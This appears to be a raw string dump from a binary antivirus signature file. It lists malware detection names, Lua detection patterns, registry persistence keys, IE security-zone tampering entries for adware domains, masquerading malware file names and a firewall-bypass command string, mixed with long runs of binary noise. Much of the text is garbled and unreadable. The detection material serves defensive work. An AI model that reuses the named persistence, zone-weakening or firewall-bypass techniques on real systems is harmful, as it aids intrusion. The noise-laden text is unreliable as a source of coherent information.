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!#ALF:Exploit:ASP/MachineKeyFinder.A!dha (w!#ALF:Exploit:ASP/MachineKeyFinder.A!dha !#ALF:TrojanDownloader:O97M/Qakbot.RVJ!MTB *u!#ALF:TrojanDownloader:O97M/Qakbot.RVJ!MTB 
!#ALF:HackTool:PowerShell/InvokeBlunt.A!MTB +t!#ALF:HackTool:PowerShell/InvokeBlunt.A!MTB !#SLF:EmailContextOfficeWithObjectFile.B!js +t!#SLF:EmailContextOfficeWithObjectFile.B!js 
!#SLF:EmailContextOfficeWithObjectFile.A!bat ,s!#SLF:EmailContextOfficeWithObjectFile.A!bat !#SLF:EmailContextOfficeWithObjectFile.A!cmd ,s!#SLF:EmailContextOfficeWithObjectFile.A!cmd 
!#SLF:EmailContextOfficeWithObjectFile.A!com ,s!#SLF:EmailContextOfficeWithObjectFile.A!com !#SLF:EmailContextOfficeWithObjectFile.A!exe ,s!#SLF:EmailContextOfficeWithObjectFile.A!exe 
!#SLF:EmailContextOfficeWithObjectFile.A!hta ,s!#SLF:EmailContextOfficeWithObjectFile.A!hta !#SLF:EmailContextOfficeWithObjectFile.A!jar ,s!#SLF:EmailContextOfficeWithObjectFile.A!jar 
!#SLF:EmailContextOfficeWithObjectFile.A!jse ,s!#SLF:EmailContextOfficeWithObjectFile.A!jse !#SLF:EmailContextOfficeWithObjectFile.A!lnk ,s!#SLF:EmailContextOfficeWithObjectFile.A!lnk 
!#SLF:EmailContextOfficeWithObjectFile.A!pif ,s!#SLF:EmailContextOfficeWithObjectFile.A!pif !#SLF:EmailContextOfficeWithObjectFile.A!ps1 ,s!#SLF:EmailContextOfficeWithObjectFile.A!ps1 
!#SLF:EmailContextOfficeWithObjectFile.A!scr ,s!#SLF:EmailContextOfficeWithObjectFile.A!scr !#SLF:EmailContextOfficeWithObjectFile.A!vbe ,s!#SLF:EmailContextOfficeWithObjectFile.A!vbe 
!#SLF:EmailContextOfficeWithObjectFile.A!vbs ,s!#SLF:EmailContextOfficeWithObjectFile.A!vbs !#SLF:EmailContextOfficeWithObjectFile.A!wsf ,s!#SLF:EmailContextOfficeWithObjectFile.A!wsf 
!#SLF:EmailContextOfficeWithObjectFile.A!wsh ,s!#SLF:EmailContextOfficeWithObjectFile.A!wsh !#SLF:HackTool:PowerShell/Internaloff.L1!MTB ,s!#SLF:HackTool:PowerShell/Internaloff.L1!MTB 
!#AGGR:TrojanDownloader:Win32/Upatre!unpacked -r!#AGGR:TrojanDownloader:Win32/Upatre!unpacked !#ALF:PSExecFromDwn.B !#ALF:Virtool:JS/Obfuscator.FH 
!#PossiblePangimopLanding!Lowfig !#TEL:Backdoor:PHP/Remoteshell.P  (z^4 fPM C ^ cNR Lf wJ &By  k?6V IB+ 7 !e!j X YOW J$m C   T)| s   `  xTmv CU^H (( %_@ ) .XK oy @&     $ &@u j ;  @u   
Y_^[  Y_^[  d$@f   $   $r #@u j ;  @u   Y_^[  Y_^[  l!@f D,nS _i o3f \t  o3f \t   oU5  twW /  kF;r & d{= jd@. f |_? 04  9 c7'? c7'? P SL<? SL<? + b< SW Ey> bd\"j gP'9 gP'9 f OQM? k~r? > > u{?  ?~? ?%8> 
U? ST  _aL? K ? E E9> (  B @BE                             (EF@           'c'c      X z%:p K gWE cbqi ; 2   p &G \"p `LL ( iL Lxz# =  r25m at~( c P the        \t\t\t\t  \t\t\t\t  \t   2 \t \t\t\t \t\t \t  \t\t\t\t  \t\t\t \t  \t\t\t\t \t\t\t\t \t  \t \t\t
\t\t\t \t  \t\t\t \t\t\t \t \t\t\t\t \t\t \t \t \t\t \t\t \t\t\t\t     \t\t \t\t \t\t\t\t     \t\t  \t \t\t  \t\t\t   \t\t \t        \t  \t 7?I N 0nJ -S[ Z^ p: L*AU Us !{$ '  ,t uQ [F xkj I`  @ Q b#z v1J yD  7{ 44 0# X( Y+HZ HPNR l   T0bt G\\>! a  N=13 
Yc ,7 g wSC x( /c ? *+<L j\\$ z\"7 6 C|. c $O *0#=   :FNQ OuE :4*_ 7Y9Rv= d_ Ek _<kGDUdS Rn,C` Me+gr bG `9T *;eSs B~ivS ZPoP\t uyRAG Software\\Classes\\BHOmod.BHOmodObj 
!Software\\Classes\\BHOmod.BHOmodObjc' !Software\\Classes\\BHOmod.BHOmodObjc) Software\\Classes\\BHOmod.BHOmodObj.1 #Software\\Classes\\BHOmod.BHOmodObj.1c) 
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#Software\\Classes\\BHOmod.BHOmodObj.1cY SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\ShellServiceObjectDelayLoad\\\\systray.exbr 
SSOFTWARE\\Microsoft\\Windows\\CurrentVersion\\ShellServiceObjectDelayLoad\\\\systray.exbrcY SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\ShellServiceObjectDelayLoad\\\\systray.exys 
SSOFTWARE\\Microsoft\\Windows\\CurrentVersion\\ShellServiceObjectDelayLoad\\\\systray.exysct SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\SharedTaskScheduler\\\\{4f141cba-
1457-6cca-03a7-7aa21b61ea0f} nSOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\SharedTaskScheduler\\\\{4f141cba-1457-6cca-03a7-7aa21b61ea0f}] 
MonitoringTool:Win32/ThePCDetective #MonitoringTool:Win32/ThePCDetective \\the pc detective\\ems.exeq &\\the pc detective\\ems.exeq \\the pc detective\\tpcl.exeq &\\the pc detective\\tpcl.exeq 
\\the pc detective\\viewer.exe] &\\the pc detective\\viewer.exe] !msshed32 <pIpJ !eetu  Bmg8g 1[O=8 4K DW{\thY 4K DW{\thY: \\eetu.exe] !News12 kpfOSrY  fOSrg 
BrowserModifier:Win32/ToolbarPartner  $BrowserModifier:Win32/ToolbarPartner !DRUsearch SOFTWARE\\Microsoft\\Code Store Database\\Distribution Units\\{10000000-1000-0000-1000-
000000000000} \\internet explorer\\cvpdvmcu.exe] `SOFTWARE\\Microsoft\\Code Store Database\\Distribution Units\\{10000000-1000-0000-1000-000000000000}q!&\\internet explorer\\cvpdvmcu.exe] 
!Vxgame @$ ,`z@  ,+ @Y L^ug& L^ug&/ usbgg5bmm 0bempbe/qiq iuuq;00 netsh firewall set allowedprogram '%s' enable -netsh firewall set allowedprogram '%s' enable /cj{uy traff4all.biz  
c:SeDebugPrivilege vxv.php cntr.php svcp.csv %s\\vx e%s\\vx tibs. proxy. zgame1.exe kernels8.exe notoutpost hide_ un_hide_ _un_hide _unhide GetSystemDefaultLangID ObtainUserAgentString 
NtQueryDirectoryFile NtEnumerateValueKey %c%c%c%ccX software\\microsoft\\windows\\currentversion\\internet settings\\\\minlevel code downloadc[ 
Esoftware\\microsoft\\windows\\currentversion\\internet settings\\\\minlevel software\\microsoft\\windows\\currentversion\\internet settings\\zonemap\\ranges\\range1\\\\* 
Tsoftware\\microsoft\\windows\\currentversion\\internet settings\\zonemap\\ranges\\range1\\\\* software\\microsoft\\windows\\currentversion\\internet settings\\zonemap\\domains\\slotch.com\\\\* 
Ysoftware\\microsoft\\windows\\currentversion\\internet settings\\zonemap\\domains\\slotch.com\\\\* software\\microsoft\\windows\\currentversion\\internet settings\\zonemap\\domains\\ysbweb.com\\\\* 
Ysoftware\\microsoft\\windows\\currentversion\\internet settings\\zonemap\\domains\\ysbweb.com\\\\* software\\microsoft\\windows\\currentversion\\internet settings\\\\trust warning level 
Psoftware\\microsoft\\windows\\currentversion\\internet settings\\\\trust warning level no securitycc Software\\microsoft\\windows\\currentversion\\internet settings\\zonemap\\domains\\porn-host.org\\\\* 
\\Software\\microsoft\\windows\\currentversion\\internet settings\\zonemap\\domains\\porn-host.org\\\\* software\\microsoft\\windows\\currentversion\\internet 
settings\\zonemap\\domains\\skoobidoo.com\\\\* \\software\\microsoft\\windows\\currentversion\\internet settings\\zonemap\\domains\\skoobidoo.com\\\\* 
software\\microsoft\\windows\\currentversion\\internet settings\\zonemap\\domains\\slotchbar.com\\\\* \\software\\microsoft\\windows\\currentversion\\internet 
settings\\zonemap\\domains\\slotchbar.com\\\\* software\\microsoft\\windows\\currentversion\\internet settings\\\\safety warning level succeedsilentcd 
Qsoftware\\microsoft\\windows\\currentversion\\internet settings\\\\safety warning level software\\microsoft\\windows\\currentversion\\internet settings\\zonemap\\domains\\flingstone.com\\\\* 
]software\\microsoft\\windows\\currentversion\\internet settings\\zonemap\\domains\\flingstone.com\\\\* software\\microsoft\\windows\\currentversion\\internet 
settings\\zonemap\\domains\\xxxtoolbar.com\\\\* ]software\\microsoft\\windows\\currentversion\\internet settings\\zonemap\\domains\\xxxtoolbar.com\\\\* 
software\\microsoft\\windows\\currentversion\\internet settings\\zonemap\\domains\\clickspring.net\\\\* ^software\\microsoft\\windows\\currentversion\\internet 
settings\\zonemap\\domains\\clickspring.net\\\\* software\\microsoft\\windows\\currentversion\\internet settings\\zonemap\\domains\\mt-download.co 
^software\\microsoft\\windows\\currentversion\\internet settings\\zonemap\\domains\\mt-download.co Uo#aCJ k}L$of 2?Dim qjaFg IG\\o) ,m::/U \\p\\H]p 
!#ALF:HeraklezEval:TrojanDownloader:O97M/ZLoader.ARJ!rfn +8!#ALF:HeraklezEval:TrojanDownloader:O97M/ZLoader.ARJ!rfnbB rRyX1P5 ZOD\t (z ZOD\t% ZOD\t,yL ZOD\t5 ZOD\t; ZOD\tGo 
ZOD\tKT7: ZOD\t[ ZOD\tb ZOD\ti ZOD\t~ %tB ? (ce|< ]p\\>^p !#ALF:HeraklezEval:Trojan:Win32/AgentCrypt!rfn +.!#ALF:HeraklezEval:Trojan:Win32/AgentCrypt!rfn&S .3)R\"? };&9' _patch_va  
!#LUA:PowershellDropsNewPE.A !#LUA:PowershellDropsNewPE.AIncludesPHelpersObMpAttributes  LUA:PowershellDropsNewPEInAppDataPath.A (LUA:PowershellDropsNewPEInAppDataPath.A 
IsChainNPath  Lua:OfcUsrTruDocRecPsNewPeDrop  Lua:EmailClientChainPsNewPeDrop  Lua:EmailClientChainPsNewPeDrop  Lua:WebMailChainPsNewPeDrop !#Lua:PowerShell.ShellXor.S001 
!#Lua:PowerShell.ShellXor.S001ObMpAttributes (cg0kdqon) Lua:MultipleReturnAtTailerInB64.S001 %Lua:MultipleReturnAtTailerInB64.S001 ([A-Za-z0-9+/=]+)  %[byte%[%]%]  
Lua:ShellBytesInB64.S001 0x%x%x,0x%x%x,0x%x%x,0x%x%x,0x%x%x,0x%x%x,0x%x%x,0x%x%x,0x%x%x,0x%x%x,0x%x%x,0x%x%x,0x%x%x,0x%x%x,0x%x%x, 
j0x%x%x,0x%x%x,0x%x%x,0x%x%x,0x%x%x,0x%x%x,0x%x%x,0x%x%x,0x%x%x,0x%x%x,0x%x%x,0x%x%x,0x%x%x,0x%x%x,0x%x%x, Lua:ShellBytesInB64.S002 Lua:InvokeInB64.S001 
!#Lua:FynloskiFilenames msdcsc.exe mdcsc.exe  msdcs.exe  msdc.exe \tmsdc.exe IMDCSC.exe IMJDC.exe  facecall.exe  svcost.exe svhost.exe sv_chost.exe  svhostss.exe  Profoma Invoice.exe 
Profoma_Invoice.exe monthlyreport.exe ttpayment.scr crypted server.exe DCModule.exe  lssass.exe DarkCommet.exe \\.-documents\\.+ \\start menu\\.+  \\administrator\\application data  
\\administrator\\application data \\appdata\\local \\desktop\\.+ \\windows\\system32\\.+ \\local settings\\application data !\\local settings\\application data \\local settings\\temp 
!#PEPCODE:Trojan:Win32/Vundo.gen!P.0    SizeOfStackReserve 3a897603c079  [VUNDO_DYNEXE] !#Lua:FakePAVFileName.A guard- Lua:FakePAVFileName.A protect Lua:FakePAVFileName.B 
safe- Lua:FakePAVFileName.C Lua:FakePAVFileName.D file.exe \tfile.exe Lua:FakePAVFileName.E !#Lua:CeeInject_MyAppChecking !#Lua:CeeInject_MyAppCheckingObMpAttributes      
!#ceeinject.dz   [CeeInject.gen!DZ]     Misfox RemoveMisfoxASEPs RemovePayloadFromRegistry Win32/Misfox  PowerShell/Misfox %(%[text%.encoding%]::ascii%.getstring%(%
[convert%]::frombase64string%(%(gp.*(hk%w%w:\\\\?software\\\\?classes\\\\?%w%w%w%w+).*%.(%w%w%w%w+)%)  25b3098c1150 is_in \\appdata\\local\\apps\\2%.0\\ 
\\programs\\onesystem\\spider\\ \\gphdesktopapp\\gphdesktopapp\\globalproductivityhub%.exe 8\\gphdesktopapp\\gphdesktopapp\\globalproductivityhub%.exe \\cubase\\cubase_updater%.exe 
\\myzone\\software\\myzone2%.exe \\csobpkalk\\csobpkalkulatory%.exe !\\csobpkalk\\csobpkalkulatory%.exe \\nitro pro\\skel\\[%x]+\\nitro_temp_file_cleaner%.exe 3\\nitro pro\\skel\\
[%x]+\\nitro_temp_file_cleaner%.exe \\adobe.+\\local\\stubexe\\ \\game\\league of legends%.exe \\win64\\valorant-win64-shipping%.exe $\\win64\\valorant-win64-shipping%.exe \\win64\\fortniteclient-
win64-shipping%.exe *\\win64\\fortniteclient-win64-shipping%.exe \\wegame.+\\dnf%.exe \\screenconnect%.windowsclient%.exe #\\screenconnect%.windowsclient%.exe \\robloxplayerlauncher%.exe 
25178a5e90e53 SCPT:Cookstone mtprotostate  SCPT:CookstoneA telegram \ttelegram mitm_manager  \\telegram_testing\\ \\mitm_tools \\wifibox \t\\wifibox \\fake_ap \t\\fake_ap Lua:CookstoneA 
SCPT:CookstoneB \\packages\\telegram\\ \\core\\telegram_testing\\ Lua:CookstoneB !#Lua:ContextualInstGamarueMs2  \\windows\\system32 CONTEXT_DATA_PROCESSDEVICEPATH  
29db392dbce75   41b393e77b73 41b393e77b73IncludesResearchData GetRealPidForScenario powershell%.exe$ cmd%.exe$  IsPidObservedGlobal GetTacticsTableForPid 
GetTechniquesTableForPid AddPidSpecificTechniqueAndTactic !AddPidSpecificTechniqueAndTactic tt_to_child has_inherited_tt   !#Lua:Worm:JS/Bondat!CryptKeywords BaseConversions 
!#Lua:Worm:JS/Bondat!CryptKeywordsIncludesBaseConversionsObMpAttributes %[([^%[%]]*[%+\\][^%[%]]*)%]%( StrToBaseN  constructor fromCharCode  parseInt \tparseInt \tFunction \\x(..) %
((%d+)%)%.toString%((%d+)%) ([\"%+%s]+) \\(%d+) !#LUA:JenxcusCyberCrypt !#LUA:JenxcusCyberCryptIncludesConversionToBinary_fastHex2BinObMpAttributes \"(.-)\" ^%%[0-9A-Za-z][0-9A-Za-
z]%%[0-9A-Za-z][0-9A-Za-z]%%[0-9A-Za-z][0-9A-Za-z] J^%%[0-9A-Za-z][0-9A-Za-z]%%[0-9A-Za-z][0-9A-Za-z]%%[0-9A-Za-z][0-9A-Za-z] SCPT:ReverseBase64 [Jenxcus]  Pokavampo 
PokavampoIncludesGenericRepairHelpers SoftwareBundler:Win32/Pokavampo  SoftwareBundler:Win32/Pokavampo  %common_appdata%   \\Microsoft\\Network\\Dsq\\network *-*-* 
%program_filesx86% 157b36f5f2a4b \\systemsettings.exe   .tmp\\setup.exe \\openwith.exe \\searchprotocolhost.exe \\searchindexer.exe \\chrmstp.exe  \\userprofilemanager.exe \\taskhostw.exe 
97b31e8a934c  !#ChangeEPtoExport  no_decription no_tls  !#PEPCODE:Win32/Vundo.HK2   hasboundimports !#Lua:Exploit:HTML/NeutrinoEK.K SCRIPT:Exploit:HTML/NeutrinoEK.K!obj 
%SCRIPT:Exploit:HTML/NeutrinoEK.K!obj (<object .-classid=clsid:d27cdb6e.-</object>) .(<object .-classid=clsid:d27cdb6e.-</object>) <object.- id=(%l+) .-> <object.- name=(%l+) .-> <object.- height=\"
(%d+)\".-> <object.- width=\"(%d+).-> (<param .-name=\"movie\".->) value=\"(/%w+/.-)\".-> (<embed .-allowscriptaccess=\"samedomain\".->) -(<embed .-allowscriptaccess=\"samedomain\".->) name=\"
(%l+)\".-> id=\"(%l+)\".-> height=\"(%d+)\".-> width=\"(%d+)\".-> src=\"(/%w+/.-)\".-> !#Lua:ShellterTrigger !#Lua:ShellterTriggerObMpAttributes      !#Lua:DownloadFileName.B update_ 
Lua:DalexisDownloadFileName.A Lua:LerspengDownloadFileName.A Silasilsap SilasilsapIncludesGenericRepairHelpers appsetup%.exe p1%.exe p2%.exe p3%.exe p4%.exe p5%.exe p6%.exe 
p7%.exe p8%.exe p9%.exe p10%.exe \tp10%.exe DeleteRe \"DeleteRe  7B!o 7D;XM/  7D;XM/ kL`&rP 7DBl:Pj  7DBl:Pj ]t Sv Fxq\"| rStj!  7F r 7IZ1o  7IZ1o  7I{H Si]vug  7O63  7Q</  7R\tQ K<h91 LttOs  
7V8G I>>/1 }eXB~os ]8i\"LC ^BbXe  7[Tx 7\\PHQBx7  7\\PHQBx7 {+^ X e C\"O2  7]@? !Y.lM P`f;A ;Y<I7 3\"5Dn  7dTn QM/,Q^ #vnq;  7fqB B6FOFL ,g'RF  7m%X 7mi!1  7mi!1 A8gyN 7q-=S  7q-=S  
7r\tn !X-DO |h }QS^w +a-Em  7zdu  7}H+ E[Go# 1\"wcK (3tDo.i 8`W4 F%+U2 4c@5P iygn: %9 6~ o*{++ D]T| MhO[A U+)bp Z[/ib )jMeJ @:9,)q gn+P=Z rY4gW- 6A1O(` ;npD?2 =d\ta8L o_hJGQ l<BHp 
`:'GfP| *7Zo% {stu*  ^L'> 4#\"^` KI[T5 8/5.r y L$@Kx V.T0| +lv|M Oz\"!o L3=3B (JTI\\V V:1Rq' ]B`~u  Ft;C `qtix t0XN| u2kN2 SG3(N 2!WD:^  6uUTV 2?ZA` )\tcR/ s.a(H  _&6#\t 8V% i }QRva 8b#9- F)Ir| 
h\\N0# B 7 c ~8+j. -n\\ImW+6 if8` /}oKt |(o8) 8V!B6 033W/\"%i01 Vkn|j@ |bWx7 bC'<0 ? !'^ >%8=+2 ?!:;; >%gh$NV= ?\"'(L ?&OT@$ X?$fg 8(> ms  zyi> *L|(r> :<;*M? =\"ABP ;>!GI ?$MNV Q[^,9? 
>\"UY< 3^\t?& aXN?! *r_>\t #_?F> ? Q_' >!jkxR j#?#n CO3x> |(r># o8&?& o8&?&&. ').vD> 7_?F> @ km> qb =& FJqb =& NV;*M? qtl?S? _~!>! G; ?\t G; ?\t%'[ ?%AHC .`1>\" DE.`1>\" _~!>  U_~!>  
X\\oJ.> ?&_bW <&kqmj (T ?# \t;'A? BN+?\" NkA=! $NkA=!%'P ;%14r >\"GRD ? JOBT eJ?&Sg >\tWb? .`1> cd.`1> zyi># /*=!%* ?$/kw lK= > B? J` >\"SU@q ry.>& Z]ry.>&[ i,= qt ?! 7uB > \"4c ?##,_~!> 
>&/075 =.`1> 00010_9090 !#attrmatch_codepatch_EIP_00000012_31C9 !#attrmatch_codepatch_EIP_00000012_9090M !#attrmatch_codepatch_EIP_00000012_9090j|Z 
!#attrmatch_codepatch_EIP_00000012_9090k !#attrmatch_codepatch_EIP_00000012_9090 !#attrmatch_codepatch_EIP_00000002_01000000V !#attrmatch_codepatch_EIP_00000002_90909090 
!#attrmatch_codepatch_EIP_00000008_01000000 !#attrmatch_codepatch_EIP_0000000B_01000000 !#attrmatch_codepatch_EIP_0000000C_31C09090 
!#attrmatch_codepatch_EIP_00000000_9090909090 !#attrmatch_codepatch_EIP_00000009_9090909090 !#attrmatch_codepatch_EIP_00000006_909090909090 
!#attrmatch_codepatch_EIP_00000000_31C931DB31C043 !#attrmatch_codepatch_EIP_00000000_8B06909090909090 A3 A3 !#PEBMPAT:Deep_AnalysisQP '!#PEBMPAT:Deep_AnalysisQP 
!#PEBMPAT:Tracur_packer '!#PEBMPAT:Tracur_packer !#Virus:Win32/Sality.gen!enc` \"!#Virus:Win32/Sality.gen!enc` !#lua_codepatch_kovter_trick \"!#lua_codepatch_kovter_trick 
!#attrmatch_DTBranch_EIP_0_r1 !!#attrmatch_DTBranch_EIP_0_r1 !#PEBMPAT:Win32/AlureonBrute.L  !#PEBMPAT:Win32/AlureonBrute.L !#PEBMPAT:Win32/Obfuscator.IX!AZF 
!#PEBMPAT:Win32/AlureonBrute.N10 !#PEBMPAT:Win32/AlureonBrute.N11 !#PEBMPAT:Win32/AlureonBrute.N12 !#PEBMPAT:Win32/AlureonBrute.N13 !#PEBMPAT:Win32/AlureonBrute.N14 
!#PEBMPAT:Win32/AlureonBrute.N15 !#PEBMPAT:Win32/AlureonBrute.N16 !#PEBMPAT:lua_codepatch_ursnif_64H !#PEBMPAT:lua_codepatch_ursnif_64QRAPSVW 
!#PEBMPPAT:Trojan:Win32/Anomaly.A3 !#attrmatch_codepatch_EIP_00000001_02 !#attrmatch_codepatch_EIP_00000008_8E !#attrmatch_codepatch_EIP_0000000D_EB =llKt =ntdlt =lKEt =tdllt 
!#attrmatch_codepatch_EIP_0000000F_EBY !#attrmatch_codepatch_EIP_00000016_00 !#attrmatch_codepatch_EIP_00000016_86 !#attrmatch_codepatch_EIP_0000002E_15i 
!#attrmatch_codepatch_EIP_00000000_B8FE= !#attrmatch_codepatch_EIP_00000004_29C0 !#attrmatch_codepatch_EIP_00000005_EB0F- !#attrmatch_codepatch_EIP_00000006_9090 
!#attrmatch_codepatch_EIP_00000007_9090C ttttt !#attrmatch_codepatch_EIP_0000000A_9090X !#attrmatch_codepatch_EIP_0000000A_9090 !#attrmatch_codepatch_EIP_00000012_9090_^ZY[X` 
!#attrmatch_codepatch_EIP_00000013_9090h !#attrmatch_codepatch_EIP_00000013_9090j !#attrmatch_codepatch_EIP_00000014_9090h !#attrmatch_codepatch_EIP_0000001E_9090V 
!#PEBMPAT:Deep_Analysis_Disable_APILimit !#PEBMPAT:VirTool:Win32/Obfuscator.LLasDF !#PEBMPPAT:TrojanDropper:Win32/Cutwail.ASj !#attrmatch_codepatch_EIP_00000001_010000 
!#PEBMPPAT:TrojanDownloader:Win32/Small.HU2 !#attrmatch_codepatch_EIP_00000002_00000000 !#attrmatch_codepatch_EIP_00000005_01000000]^E 
!#attrmatch_codepatch_EIP_00000007_00000000 -log1 !#attrmatch_codepatch_EIP_0000000C_01000000 !#attrmatch_codepatch_EIP_0000000C_33F69090 
!#attrmatch_codepatch_EIP_0000000C_6631ED90 !#attrmatch_codepatch_EIP_00000000_90909033C0= !#attrmatch_codepatch_EIP_0000000E_8609000000 
!#attrmatch_codepatch_EIP_00000007_909090909090 !#PEBMPAT:Deep_Analysis (!#PEBMPAT:Deep_Analysis !#PEBMPAT:InjectorLoop1 (!#PEBMPAT:InjectorLoop1 
!#PEBMPAT:Disable_API_LimitU $!#PEBMPAT:Disable_API_LimitU !#lua_codepatch_gepys_trickSQRVW $!#lua_codepatch_gepys_trickSQRVW !#PEBMPAT:VirTool:Win32/KME.3 
\"!#PEBMPAT:VirTool:Win32/KME.3 !#PEBMPAT:VirTool:Win32/KME.5 \"!#PEBMPAT:VirTool:Win32/KME.5 !#attrmatch_DTBranch_EIP_0_r1U \"!#attrmatch_DTBranch_EIP_0_r1U 
!#attrmatch_DTBranch_EIP_BE_r1H !!#attrmatch_DTBranch_EIP_BE_r1H !#VirTool:Win32/Obfuscator.KS!AA !#PEBMPPAT:Trojan:Win32/Anomaly.A1 ?.rsrt ?rsrct ?.ccpt 
!#attrmatch_codepatch_EIP_00000003_10+ !#attrmatch_codepatch_EIP_00000003_EB !#attrmatch_codepatch_EIP_00000004_EB !#attrmatch_codepatch_EIP_00000006_FF 
!#attrmatch_codepatch_EIP_00000008_84 =&0@Z !#attrmatch_codepatch_EIP_00000008_EB !#attrmatch_codepatch_EIP_00000009_EB !#attrmatch_codepatch_EIP_0000000A_90 
!#attrmatch_codepatch_EIP_0000000B_00U !#attrmatch_codepatch_EIP_0000000E_EBf= !#attrmatch_codepatch_EIP_0000000e_EBV !#attrmatch_codepatch_EIP_00000014_EB 
!#attrmatch_codepatch_EIP_00000017_7E !#attrmatch_codepatch_EIP_00000017_EB !#attrmatch_codepatch_EIP_00000006_90E9<Zt !#attrmatch_codepatch_EIP_00000006_EB0E 9Actxt 
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!#attrmatch_codepatch_EIP_00000017_7E !#attrmatch_codepatch_EIP_00000017_EB !#attrmatch_codepatch_EIP_00000006_90E9<Zt !#attrmatch_codepatch_EIP_00000006_EB0E 9Actxt 
!#attrmatch_codepatch_EIP_0000000C_90903 !#attrmatch_codepatch_EIP_00000010_9090f !#attrmatch_codepatch_EIP_00000012_9090U !#attrmatch_codepatch_EIP_00000014_90901 
!#attrmatch_codepatch_EIP_00000014_9090M !#attrmatch_codepatch_EIP_00000014_9090U !#attrmatch_codepatch_EIP_00000014_90E9 !#attrmatch_codepatch_EIP_00000015_0100 
!#attrmatch_codepatch_EIP_00000015_90903t$ !#attrmatch_codepatch_EIP_00000015_90903|$ !#attrmatch_codepatch_EIP_00000015_9090| !#attrmatch_codepatch_EIP_00000021_90E9 
!#PEBMPAT:VirTool:Win32/Obfuscator.LLasDF_ !#attrmatch_codepatch_EIP_00000000_8BC190 !#attrmatch_codepatch_EIP_00000003_909090 hXMVj Y 
!#PEBMPAT:ReadsDataDirectoryImportTableSize !#attrmatch_codepatch_EIP_00000001_01000000 !#attrmatch_codepatch_EIP_00000002_01000000` 
!#attrmatch_codepatch_EIP_00000009_89D09090CB !#attrmatch_codepatch_EIP_00000000_B898999919= !#attrmatch_codepatch_EIP_00000001_BD3C7D400090 51984 
!#attrmatch_codepatch_EIP_00000013_909090909090 !#attrmatch_codepatch_EIP_00000000_BA010000009090 0!#do_deep_rescan !#PEBMPAT:Disable_SEH_Limit 
%!#PEBMPAT:Disable_SEH_Limit !#PEBMPAT:Spyeye_decryption_1[ZX #!#PEBMPAT:Spyeye_decryption_1[ZX #!#attrmatch_DTBranch_EIP_0_r1 !#PEBMPAT:VirTool:Win32/KME.6a 
\"!#PEBMPAT:VirTool:Win32/KME.6a o.< Q !#VirTool:Win32/Obfuscator.AGP3 \"!#VirTool:Win32/Obfuscator.AGP3 !#VirTool:Win32/Obfuscator.AGPUPV \"!#VirTool:Win32/Obfuscator.AGPUPV 
!#VirTool:Win32/Obfuscator.AGPj \"!#VirTool:Win32/Obfuscator.AGPjY \"!#VirTool:Win32/Obfuscator.AGPj^ !#PEBMPAT:AntiEmuInstCountLimit !!#PEBMPAT:AntiEmuInstCountLimit 
!#PEBMPAT:Obfuscator_gv_exception !#lua_codepatch_sirefef_lasterror1 !#attrmatch_codepatch_EIP_00000006_EB !#attrmatch_codepatch_EIP_0000000A_EB 
!#attrmatch_codepatch_EIP_0000000D_EB< !#attrmatch_codepatch_EIP_0000000E_EB !#attrmatch_codepatch_EIP_00000010_7C !#attrmatch_codepatch_EIP_00000010_8E 
!#attrmatch_codepatch_EIP_00000018_72 !#attrmatch_codepatch_EIP_0000001A_ED !#attrmatch_codepatch_EIP_00000027_75 !#attrmatch_codepatch_EIP_00000004_31C9 
!#attrmatch_codepatch_EIP_00000007_9090+ !#attrmatch_codepatch_EIP_00000008_9090 !#attrmatch_codepatch_EIP_00000008_90E9 !#attrmatch_codepatch_EIP_0000000C_EB02d TSERa` 
!#attrmatch_codepatch_EIP_0000000E_90903 !#attrmatch_codepatch_EIP_0000000E_EBF0 !#attrmatch_codepatch_EIP_00000010_33C0 !#attrmatch_codepatch_EIP_00000010_90E9 
!#attrmatch_codepatch_EIP_00000012_9090^[ !#attrmatch_codepatch_EIP_00000013_9090`1 !#attrmatch_codepatch_EIP_00000014_9090PSj !#attrmatch_codepatch_EIP_00000015_9090Kf 
!#attrmatch_codepatch_EIP_00000015_9090PVR !#attrmatch_codepatch_EIP_00000017_9090` !#attrmatch_codepatch_EIP_00000053_9090h) !#attrmatch_codepatch_EIP_00000012_0090E9_ 
!#attrmatch_codepatch_EIP_00000001_10000000 !#attrmatch_codepatch_EIP_00000002_01000000S !#attrmatch_codepatch_EIP_00000003_02000000` 
!#attrmatch_codepatch_EIP_00000007_909090900 !#attrmatch_codepatch_EIP_0000000A_01000000# !#attrmatch_codepatch_EIP_0000000E_01000000 
!#attrmatch_codepatch_EIP_00000010_89D39090M !#attrmatch_codepatch_EIP_0000000A_E97A000000 !#attrmatch_codepatch_EIP_0000000D_C60240EBEE 
!#attrmatch_codepatch_EIP_00000000_C1E81090909090 !#attrmatch_codepatch_EIP_00000000_8B0424909090909090 !#attrmatch_codepatch_EIP_00000000_8B0690909090909090 
&!#PEBMPAT:Disable_SEH_Limit !#attrmatch_DTBranch_EIP_12_r1 #!#attrmatch_DTBranch_EIP_12_r1 !#attrmatch_DTBranch_EIP_B8_r1 #!#attrmatch_DTBranch_EIP_B8_r1 
!#PEBMPAT:Deep_Analysis_VMM_Grow+ E !!#PEBMPAT:Deep_Analysis_VMM_Grow+ !#PEBMPAT:Deep_Analysis_VMM_Grow E !!#PEBMPAT:Deep_Analysis_VMM_Grow E! 
!#PEBMPAT:lua_codepatch_ursnif_64QRAPSVW !#attrmatch_codepatch_EIP_0000000A_00UVS !#attrmatch_codepatch_EIP_0000000D_84@ !#attrmatch_codepatch_EIP_00000013_EB 
!#attrmatch_codepatch_EIP_00000015_F4 !#attrmatch_codepatch_EIP_00000015_F4@ !#attrmatch_codepatch_EIP_00000016_EB !#attrmatch_codepatch_EIP_00000019_00 
!#attrmatch_codepatch_EIP_00000019_EB !#attrmatch_codepatch_EIP_0000001A_EBU !#attrmatch_codepatch_EIP_0000001B_84 !#attrmatch_codepatch_EIP_00000003_9090 $Pg n Q<!V] l:O \\ 
Al6_q 9g<P6 *TMnu <N<+oF2A* M0c K  fauM[ qRCZV By#v' hlp+m \t_&HU K?ct<  Z)h> m0?NSA 2|K12 >xsC> _kc%v .Sq&( 6N^!1 GU'X? .9+.W !Q T  ;ubWc'{ B.^Sj {|!`F ODq?U sjSsE4]8 |`XV%35 Dp. 
X d Lesbian http://www.lop.com/search/ http://www.lop.com/search/xa Bad Elmo < You must install this software as part of the parent program SwIcertifiEd -Curl %s -MpX%s Casino Online Web 
